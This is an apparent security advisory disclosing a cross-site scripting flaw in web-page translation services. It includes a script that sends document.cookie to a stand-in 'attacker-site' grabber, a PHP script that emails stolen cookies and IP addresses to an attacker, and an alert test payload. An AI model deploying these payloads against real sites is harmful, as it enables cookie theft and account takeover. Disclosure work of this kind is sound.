Title: Multiple Translation websites Cross Site Scripting
       vulnerability

Service: Translation tools/websites

Vendors: Google, altavista, IBM, freetranslation, worldlingo
         paralink and almost any site using the webpage translation
         technique

Vulnerability: Cross Site Scripting / Cookie-Theft / Relogin attacks

Tested on: Microsoft IE 6.0 and firefox 5.1
           (should work on all browsers)

Details:

the following is a Cross Site Scripting vulnerability that i ve found so far
in all translation websites that i ve seen, these websites use URL webpage
translation method which consist of passing a url of a user choice to the web
application for translating purpose, in fact after the webpage is being
processed
(translated) the application dosent filter the webpage content before
outputing it
into the user browser.

Impact:

a remote attacker can construct a malicious code in a webpage then upload
it to his/her
webserver and make a vulnerable website user visit the page thru the
translation script
and therefor execute the malicious code contents by the client browser.

malicous code as an example can be a javascript code to steal the victim
cookie

exemple of a malicious webpage:

<SCRIPT>location.href='http://www.attacker-site/grabber.php?cookie='+escape(document.cookie)</SCRIPT>

this javascript code will redirect the victim to the attacker php script
to grab the cookie information
and then log it or/and send it back the the attacker email

exemple of a php grabber

<?php
$cookie = $_GET['cookie'];
$ip = getenv("REMOTE_ADDR");
$msg = "Cookie: $cookie\nIP Address: $ip";
$subject = "cookie";
mail("attacker@...il-address.com", $subject, $msg);
?>

for testing purpose you may use the following javascript

<script>alert('VULNERABLE'); alert(document.cookie);</script>
